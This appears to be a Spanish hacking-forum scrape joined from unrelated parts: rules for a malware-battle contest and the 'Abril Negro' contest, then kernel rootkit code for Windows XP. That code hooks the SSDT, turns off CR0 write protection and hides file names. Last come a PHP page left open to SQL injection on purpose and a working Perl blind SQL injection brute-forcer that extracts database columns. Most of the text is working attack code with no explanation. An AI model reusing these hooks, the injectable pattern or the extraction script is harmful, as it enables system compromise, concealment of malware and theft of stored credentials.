• Objetivos del Concurso:
  
  El objetivo principal del concurso es la de hacer un "mini-torneo" en el que los participantes, tendrán que diseñar códigos los cuales tendrán como único objetivo la eliminación total de su contrincante.
  
  
  
• Posibilidades de infección:
  
  Como los virus actuales, los programadores podrán programar subrutinas de infección de discos (archivos, sistema de ficheros, etc.) y memoria (inyección de código en procesos externos, escritura/lectura de procesos del contrincante, etc.). Se permitirá tanto la programación en modo usuario y en modo Kernel.
  
  
  
• Condiciones de victoria:
  
  Para que un programador obtenga la victoria tendrá que conseguir terminar completamente el proceso en modo usuario de su contrincante. Además de eso, tendrá que eliminar y/o desinfectar totalmente el sistema comprometido por el virus de su contrincante (descargar completamente el código del virus del contrincante de la memoria, desinfectar ficheros, etc.).
  
  El enfrentamiento será dividido en 2 rondas, para que cada virus pueda iniciarse primero que el otro (factor importante a la hora de atacar o defenderse).
  
  Obligatoriamente, el primer virus que se ejecute tiene que dejar ejecutar el otro.
  
  Si un enfrentamiento termina sin que los 2 virus consigan terminar el otro en ambas rondas o de lo contrario los 2 virus perezcan en cada ronda, se dará el enfrentamiento como nulo, tuviendose que reprogramar los virus y volverse a enfrentar.
  
  
  
• Escenario de Batalla:
  
  El sistema operativo que se usará será una instalación limpia (sin ningún programa instalado, exceptuando programas como Filemon, ProcessExplorer y demás que servirán para seguir el enfrentamiento) de un Windows XP SP3 con las últimas actualizaciones.
  
  
  
• Analizando el código:
  
  
  El virus constará básicamente de dos partes fundamentales, el modulo de defensa y el modulo de ataque. El modulo de defensa es el que se tiene que desarrollar primero y, 3 días antes del enfrentamiento, se entregará el ejecutable del virus con la parte de la defensa terminada al contrincante y viceversa. Los programadores podrán analizar el ejecutable en sus máquinas virtuales. Una vez analizado el virus, tendrán que programar el modulo de ataque, que será el que intentará desinfectar completamente el virus del contrincante. Se puede programar una defensa para cada enfrentamiento, una vez entregada al contrincante no se podrá modificar dicho módulo. Si alguno sospecha de que su contrincante ha modificado el modulo de defensa, se podrá requerir el código y se compilará, para ver que coincida con el ejecutable que se entregó la primera vez.
  
  Los programadores tienen que publicar en este post el nombre en disco de su virus (en proceso puede ser diferente, incluso aleatorio), el nombre del virus y para más información, el lenguaje en que fue creado. Ejemplo:
  
  Nombre en disco: Cryptovirus.exe
  Nombre del Virus: CryptoHendrix.A
  Lenguaje de programación usado: C + ASM.
  
  
  Al finalizar el concurso, y para que todo el mundo pueda aprender, se publicaran todos los códigos usados por cada programador en sus virus. Los recopilaré dentro de un único archivo comprimido.
  
  
  
• Limitaciones:
  
  Los virus no podrán en ningún caso desestabilizar el sistema. Si se produce BSOD o reinicio/apagado forzoso del sistema o relentización excesiva de este, se dará el enfrentamiento como perdido para el virus que lo ocasione. El enfrentamiento tendrá lugar en una maquina virtual, se pueden infectar los archivos que les de la gana siempre y cuando no se desestabilice el sistema.
  
  Los virus no se podrán conectar a Internet, ya que no tiene mucha utilizad dentro de lo que es el concurso.
  
  Los virus que usen drivers no podrán proteger en ningún caso los archivos del virus desde el driver, ya que imposibilitaría la eliminación correcta del virus en el sistema. Asimismo, se considerará como sistema limpio aquel en el que se elimine el ejecutable del virus y sus copias. El driver puede quedar en el sistema.
  
  

  ---

  
  
  Creo que no me dejo nada, si se hace algún cambio en las reglas se avisará. El inicio del torneo podría ser a mediados de Mayo, por ejemplo el Viernes 14 de Mayo. Del 1 de Mayo al 14 de Mayo se organizará el organigrama del torneo. El torneo será por eliminatorias (tipo Octavos de final, cuartos de final, semifinal y final). Los emparejamientos serán totalmente al azar. Si el numero de participantes es impar, uno de ellos automáticamente avanzará de ronda.
  
  Para apuntarse, déjenlo comentado en este post. En este primer post colocaré la lista de participantes y la iré actualizando según se anoten los concursantes. Cualquier duda, mejora o inclusión de alguna regla o lo que sea, comentenlo.
  
  PD: Me voy a anotar en este concurso, hace ya tiempo que no programo nada referente a malware y ya es hora   aunque estaré condicionado del tiempo que tenga libre, ya que con la uni no tengo mucho  
  
  
  Lista de participantes:
  
  
  • Hendrix
  • Hacker_Zero
  • Lord R.N.A.
  • Karcrack

• Bases del concurso:
  
  Como cada año, se tienen que presentar las herramientas diseñadas por los participantes. Se puede tratar cualquier tema relacionado con el malware a excepción de DoS/DDoS.
  
  Los proyectos tienen que ser obligatoriamente open source, para que se puedan evaluar mejor las herramientas. Se tiene que presentar el proyecto comprimido con 2 carpetas en su interior, una para el exe (bin) y otra para el código (src), para que este bien presentado y ordenado.
  
  Los vencedores se decidirán por votación popular, es decir, los que se descarguen el proyecto y lo evalúen, votarán su proyecto favorito. Al final de la votación, el que tenga más puntos será el ganador. El 30 de Abril se publicará la lista final con todos los proyectos publicados en este Abril Negro. En esta lista los usuarios votarán su proyecto favorito. Esta lista quedará abierta 2 semanas (hasta el viernes 14 de Mayo).
  
  En caso de empate, miembros del Staff evaluaran los proyectos empatados y se decidirá el ganador según estos aspectos:
  
  
  • Innovación de la herramienta/código
  • Mejor código
  
  Para publicar los proyectos, se tiene que incluir la etiqueta [Abril Negro] delante del título de cada post.
  
  
• Premios
  
  Los premios de este año, al igual que el anterior, constará de una cuenta @elhacker.net y la publicación en el tablón oficial de la aplicación, pero ya que este año contamos con el blog. Se publicará una entrada en dicho blog en la cual se presentará la aplicación ganadora de Abril Negro.
  
  Al final de dicho concurso, todas los proyectos presentados serán publicados en la lista de recopilatorio de aplicaciones de Abril Negro 2010.
  
  Anímense a participar en este concurso  . Mucha suerte a todos los participantes, y que empiece la función!
  
  

• DDk (obviamente)
• WinDbg
• OSR Drive Loader
• DebugView
• VMWare

Push ArgumentoX
Push ArgumentoX-1
...
...
...
Push Argumento2
Push Argumento1
Push Argumento0
Call Api

NTSTATUS ZwOpenFileRep(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG  ShareAccess,IN ULONG OpenOptions)

__asm
	{
		cli
		push eax
		mov eax, cr0
		and eax, 0xFFFEFFFF
		mov cr0, eax
		pop eax
	}

__asm
	{
		push eax
		mov eax, cr0
		or eax, not 0xFFFEFFFF
		mov cr0, eax
		pop eax
		sti
	}

DWORD det;
DWORD dir;
DWORD MyDir;
 
det = (DWORD) 0xf7c80aa0;
dir = (DWORD) 0x8056f41a;
MyDir = (DWORD) ZwOpenFileRep;

__try
    {
		//Parcheamos la variable del programa victima con la dirección de nuestra función
		*(DWORD*)det = MyDir;
 
   }
 
   	__except(EXCEPTION_EXECUTE_HANDLER) 
   {
		DbgPrint("Error en el procesamiento del Driver");
   }

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING theRegistryPath)
{
    NTSTATUS s = STATUS_SUCCESS;
 
	det = (DWORD) 0xf7c80aa0;
	dir = (DWORD) 0x8056f41a;
	MyDir = (DWORD) ZwOpenFileRep;
 
	DriverObject->DriverUnload=OnUnload;
 
	DbgPrint("Modificado de memoria. Por Hendrix");
 
 
   ZwOpenFileIni =(typeZwOpenFile)dir;
 
   __asm
	{
		cli
		push eax
		mov eax, cr0
		and eax, 0xFFFEFFFF
		mov cr0, eax
		pop eax
	}
 
   __try
    {
		//Parcheamos la variable del programa victima con la dirección de nuestra función
		*(DWORD*)det = MyDir;
 
   }
 
   	__except(EXCEPTION_EXECUTE_HANDLER) 
   {
		DbgPrint("Error en el procesamiento del Driver");
   }
 
   __asm
	{
		push eax
		mov eax, cr0
		or eax, not 0xFFFEFFFF
		mov cr0, eax
		pop eax
		sti
	}
 
   DbgPrint("Hook inyectado!!");
   return s;
}

VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
   DbgPrint("Descargando driver...");
 
   __asm
	{
		cli
		push eax
		mov eax, cr0
		and eax, 0xFFFEFFFF
		mov cr0, eax
		pop eax
	}
 
   __try
    {
		//Reparamos la variable del driver victima con la dirección real de la API.
		*(DWORD*)det = (DWORD)ZwOpenFileIni;
   }
 
   	__except(EXCEPTION_EXECUTE_HANDLER) 
   {
		DbgPrint("Error en el procesamiento del Driver");
   }
 
   __asm
	{
		push eax
		mov eax, cr0
		or eax, not 0xFFFEFFFF
		mov cr0, eax
		pop eax
		sti
	}
}

NTSTATUS ZwOpenFileRep(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG  ShareAccess,IN ULONG OpenOptions)
{
 
   NTSTATUS ntStatus;
   OBJECT_ATTRIBUTES oa;
 
 
   ntStatus = ((typeZwOpenFile)(ZwOpenFileIni)) (FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock,  ShareAccess, OpenOptions);
   if (ntStatus!=STATUS_SUCCESS) return ntStatus;
 
	__try
    {
		//Limpiamos toda la información de la estructura para que no nos pillen el nombre del fichero
		RtlZeroMemory(ObjectAttributes,sizeof(ObjectAttributes));
		InitializeObjectAttributes(ObjectAttributes,NULL,0,NULL,NULL);
 
   }
 
   	__except(EXCEPTION_EXECUTE_HANDLER) 
   {
		DbgPrint("Error en el procesamiento del Driver");
   }
 
   return ntStatus;
}

#include "ntddk.h"
#include <string.h>
 
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase;
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
 
__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
 
PMDL  g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig )  \
       _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
 
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  \
       InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
 
static char archivo[] = "\\??\\C:\\prueba.txt";
 
NTSYSAPI
NTSTATUS
NTAPI ZwOpenFile(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG  ShareAccess,IN ULONG OpenOptions);
 
typedef NTSTATUS (*typeZwOpenFile)(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG  ShareAccess,IN ULONG OpenOptions);
typeZwOpenFile ZwOpenFileIni;
 
 
NTSTATUS ZwOpenFileRep(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG  ShareAccess,IN ULONG OpenOptions)
{
 
   NTSTATUS ntStatus;
   ANSI_STRING strf;
 
 
   ntStatus = ((typeZwOpenFile)(ZwOpenFileIni)) (FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock,  ShareAccess, OpenOptions);
   if (ntStatus!=STATUS_SUCCESS) return ntStatus;
 
	__try
    {
	   RtlUnicodeStringToAnsiString(&strf,ObjectAttributes->ObjectName,TRUE);
	   if (strcmp(archivo,strf.Buffer)==0)
	   {
			if (DesiredAccess & DELETE)
			{
				DbgPrint("Se intentó eliminar el archivo...");
				ZwClose(FileHandle);
				*FileHandle=NULL;
				return STATUS_INVALID_HANDLE;
			}
	   }
   }
 
   	__except(EXCEPTION_EXECUTE_HANDLER) 
   {
		DbgPrint("Error en el procesamiento del Driver");
   }
 
   return ntStatus;
}
 
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
   DbgPrint("Descargando driver...");
 
   UNHOOK_SYSCALL(ZwOpenFile, ZwOpenFileIni, ZwOpenFileRep);
 
   if(g_pmdlSystemCall)
   {
      MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
      IoFreeMdl(g_pmdlSystemCall);
   }
}
 
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING theRegistryPath)
{
    NTSTATUS s = STATUS_SUCCESS;
 
	DriverObject->DriverUnload=OnUnload;
 
    DbgPrint("*** Programa de control de archivos. Por Hendrix ***");
	DbgPrint(" ");
	DbgPrint("Driver cargado.");
 
 
   ZwOpenFileIni =(typeZwOpenFile)(SYSTEMSERVICE(ZwOpenFile));
 
   DbgPrint("Direccion actual: 0x%x",(int)(SYSTEMSERVICE(ZwOpenFile)));
 
   g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
   if(!g_pmdlSystemCall)
      return STATUS_UNSUCCESSFUL;
 
   MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
 
   g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
 
   MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
 
   HOOK_SYSCALL(ZwOpenFile, ZwOpenFileRep, ZwOpenFileIni);
 
   DbgPrint("Direccion despues del Hook: 0x%x",(int)(SYSTEMSERVICE(ZwOpenFile)));
   return s;
}

#include <NTDDK.h>
#include <WINDEF.h>
#include <STDIO.h>
#include <string.h>
 
#pragma pack(1)
 
 
NTSYSAPI
NTSTATUS
NTAPI ZwOpenFile(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG  ShareAccess,IN ULONG OpenOptions);
 
typedef NTSTATUS (*typeZwOpenFile)(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG  ShareAccess,IN ULONG OpenOptions);
typeZwOpenFile ZwOpenFileIni;
 
DWORD det;
DWORD dir;
DWORD MyDir;
 
 
 
NTSTATUS ZwOpenFileRep(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG  ShareAccess,IN ULONG OpenOptions)
{
 
   NTSTATUS ntStatus;
   ANSI_STRING strf;
   OBJECT_ATTRIBUTES oa;
 
 
   ntStatus = ((typeZwOpenFile)(ZwOpenFileIni)) (FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock,  ShareAccess, OpenOptions);
   if (ntStatus!=STATUS_SUCCESS) return ntStatus;
 
	__try
    {
		//Limpiamos toda la información de la estructura para que no nos pillen el nombre del fichero
		RtlZeroMemory(ObjectAttributes,sizeof(ObjectAttributes));
		InitializeObjectAttributes(ObjectAttributes,NULL,0,NULL,NULL);
 
   }
 
   	__except(EXCEPTION_EXECUTE_HANDLER) 
   {
		DbgPrint("Error en el procesamiento del Driver");
   }
 
   return ntStatus;
}
 
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
   DbgPrint("Descargando driver...");
 
   __asm
	{
		cli
		push eax
		mov eax, cr0
		and eax, 0xFFFEFFFF
		mov cr0, eax
		pop eax
	}
 
   __try
    {
		//Reparamos la variable del driver victima con la dirección real de la API.
		*(DWORD*)det = (DWORD)ZwOpenFileIni;
   }
 
   	__except(EXCEPTION_EXECUTE_HANDLER) 
   {
		DbgPrint("Error en el procesamiento del Driver");
   }
 
   __asm
	{
		push eax
		mov eax, cr0
		or eax, not 0xFFFEFFFF
		mov cr0, eax
		pop eax
		sti
	}
}
 
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING theRegistryPath)
{
    NTSTATUS s = STATUS_SUCCESS;
 
	det = (DWORD) 0xf7bcc9a0;
	dir = (DWORD) 0x8056f41a;
	MyDir = (DWORD) ZwOpenFileRep;
 
	DriverObject->DriverUnload=OnUnload;
 
	DbgPrint("Modificado de memoria. Por Hendrix");
 
 
   ZwOpenFileIni =(typeZwOpenFile)0x8056f41a;
 
   __asm
	{
		cli
		push eax
		mov eax, cr0
		and eax, 0xFFFEFFFF
		mov cr0, eax
		pop eax
	}
 
   __try
    {
		//Parcheamos la variable del programa victima con la dirección de nuestra función
		*(DWORD*)det = MyDir;
 
   }
 
   	__except(EXCEPTION_EXECUTE_HANDLER) 
   {
		DbgPrint("Error en el procesamiento del Driver");
   }
 
   __asm
	{
		push eax
		mov eax, cr0
		or eax, not 0xFFFEFFFF
		mov cr0, eax
		pop eax
		sti
	}
 
   DbgPrint("Hook inyectado!!");
   return s;
}

<?php 
 
# ---- CONFIG -----
$host = 'localhost';
$dbuser = 'root';
$dbpass = 'password';
$dbname = 'blind';
# -----------------
 
echo "<title>Blind SQL Injection Test - D.O.M LABS 2008</title>";
 
$db = mysql_connect($host, $dbuser, $dbpass);
mysql_select_db($dbname,$db);
 
 
$sql = "SELECT * FROM users WHERE id=".$_GET['id'];
	$query = mysql_query($sql);
 
	if(@mysql_num_rows($query)==0){
		die('No hay columnas');
	}
 
	$result=@mysql_fetch_row($query);
	echo "<h2><center><u>Blind SQL Injection Test<br>D.O.M LABS</u><br><br>";
	echo "<font color='#FF0000'>user_id: </font>".$result[0]."<br>";
	echo "<font color='#FF0000'>username: </font>".$result[1]."<br>";
	// echo "Passwd: ".$result[2]."<br>";
	echo "</h2></center>";
 
	die();
 
?>

-- Table: users
-- by ka0x - D.O.M
-- Blind SQL Injection Paper
 
CREATE TABLE `users` (
  `id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  `name` VARCHAR(50) NOT NULL,
  `password` VARCHAR(50) NOT NULL,
  PRIMARY KEY  (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;
 
-- users --
INSERT INTO `users` VALUES (1, 'administrator', '1234%&_');
INSERT INTO `users` VALUES (2, 'ka0x', 't3st_bl1nd');
INSERT INTO `users` VALUES (3, 'bush', 'terrorist');
-- eof --

#!/usr/bin/perl -W
 
# Blind MySQL Injection Paper
# example brute force
 
# -- OPTIONS --
my $MAX_FIELD_LENGTH = 200 ;
my $EXIT_IF_NO_CHAR = 1 ;
my $DEFAULT_THREADS = 15 ;
my $DEFAULT_THREADS_TIMEOUT = 30 ;
my @ascii = ( 33 .. 123 ) ;
my $DEFAULT_THREADS_TIME = 1 ;
# ---
 
use LWP::UserAgent ;
 
sub _HELP_AND_EXIT
{
	die "
 
  ./$0  -u <url>  -tn <table>  -cn <column>  -p <pattern>
 
 Options:
  -u    <url>               Ex: http://www.google.es/vuln.php?id=1
  -tn   <table_name>        Table name.
  -cn   <column_name>       Column name.
  -p    <pattern>           HTML pattern.
 
 Other:
  -t    <#>                 Threads, default '$DEFAULT_THREADS'.
  -l    <#>                 Maximum table name length '$MAX_FIELD_LENGTH'.
  -T    <#>                 Timeout.
  -h                        Help (also with --help).
" ;
}
 
 
	my ($p, $w) = ({ @ARGV }, { }) ;
 
	map {
		&_HELP_AND_EXIT if $_ eq '--help' or $_ eq '-h' ;
	} keys %$p ;
 
	map {
		die "[!] Require: $_\n" unless $p->{ $_ } ;
	} qw/-u -tn -cn -p/ ;
 
	$p->{'-t'} = ( $p->{'-t'} and $p->{'-t'} =~ /^\d+$/ ) ? $p->{'-t'} : ( $w->{'-t'} = $DEFAULT_THREADS ) ;
	$p->{'-l'} = ( $p->{'-l'} and $p->{'-l'} =~ /^\d+$/ ) ? $p->{'-l'} : ( $w->{'-l'} = $MAX_FIELD_LENGTH ) ;
	$p->{'-T'} = ( $p->{'-T'} and $p->{'-T'} =~ /^\d+$/ ) ? $p->{'-T'} : ( $w->{'-T'} = $DEFAULT_THREADS_TIMEOUT ) ;
 
	map {
		warn "[i] Getting default: $_ $w->{ $_ }\n" ;
	} sort keys %$w ;
 
	( &_IS_VULN( $p ) ) ? &_START_WORK( $p ) : die "[i] Bad pattern ? Isn't vulnerable ?\n" ;
 
 
 
 
sub _START_WORK
{
	my $p = shift ;
 
	($p->{'id_value'})	= ( $p->{'-u'} =~ /(\d+)$/ ) ;		# Get the id value
 
	my $position = 1 ;
 
	pipe(R, W) ;
	pipe(Rs, Ws) ;
	autoflush STDOUT 1 ;
 
	my $sql_message = '' ;
	my $msg = '' ;
	my @pid ;
 
	while( $position <= $p->{'-l'} )
	{
		my $cf ;
		unless( $cf = fork ){ &_CHECKING( $p, $position ) ; exit(0) ; }
		push(@pid, $cf) ;
 
		my $count = 0 ;
		my $can_exit ;
		my $char_printed ;
 
		while(<R>)
		{
			chomp ;
			push(@pid, (split(/:/))[1] ) if /^pid/ ;
 
			my ($res, $pos, $ascii) = ( split(/ /, $_) ) ;
			$count++ if $pos == $position ;
 
			print "\b" x length($msg), ($msg = "$position $ascii " . chr($ascii) ) ;
 
			if( $res eq 'yes' and $pos == $position ){
					$char_printed = $can_exit = 1 ;
					print Ws "STOP $position\n" ;
					$sql_message .= chr( $ascii ) ;
			}
 
			last if ( $can_exit or $count == @ascii );
		}
 
		map { waitpid($_, 0) } @pid ;
 
		unless( $char_printed )
		{
			if( $EXIT_IF_NO_CHAR )
			{
				warn "\n[!] \$EXIT_IF_NO_CHAR : I can't find a valid character, position $position.\n"  ;
				last ;
			}
		}
 
		$position++ ;
	}
 
	print "[i] SQL_FIELD:\n$sql_message\n" ;
 
}
 
sub _CHECKING
{
	my ($p, $position) = @_ ;
	my $counter = 0 ;
	my $stop_position ;
 
	foreach my $ascii ( @ascii )
	{
		$counter++ ;
 
		if( $counter % $p->{'-t'} == 0 )
		{
			my $stop_position ;
			eval
			{
				$SIG{'ALRM'} = sub { die "non_stop\n" } ;
				alarm $DEFAULT_THREADS_TIME ;
				my $line = <Rs> ;
				$stop_position = (split( / /, $line))[1] ;
				alarm 0 ;
			} ;
 
			if( ($stop_position) and $stop_position == $position ){ print "\nnext position\n" ; exit(0) ; }
		}
 
		unless(my $pid = fork )
		{
			print Ws "pid:$pid\n" or die ;
 
 
			my $url = $p->{'-u'} .
				' AND ascii(substring((SELECT ' . $p->{'-cn'} .
				' FROM ' . $p->{'-tn'} . ' where id=' .
				$p->{'id_value'} . '),' . $position . ',1))='. $ascii ;
 
			my $ua = LWP::UserAgent->new ;
			$ua->timeout( $p->{'-T'} ) ;
 
			my $content ;
			while( 1 )
			{
				last if $content = $ua->get( $url )->content ;
			}
 
			( $content =~ /$p->{'-p'}/ ) ? print W "yes $position $ascii\n" : print W "no $position $ascii\n" ;
 
			exit( 0 ) ;
		}
 
	}
}
 
 
 
sub _IS_VULN
{
	my $p = shift ;
 
	my $ua = LWP::UserAgent->new ;
	$ua->timeout( $p->{'-T'} ) ;
 
	my ( $one, $two ) = (
		$ua->get( $p->{'-u'}." AND 1=1")->content ,
		$ua->get( $p->{'-u'}." AND 1=2")->content ,
	) ;
 
	return ($one =~ /$p->{'-p'}/ and $two !~ /$p->{'-p'}/) ? 1 : undef ;
}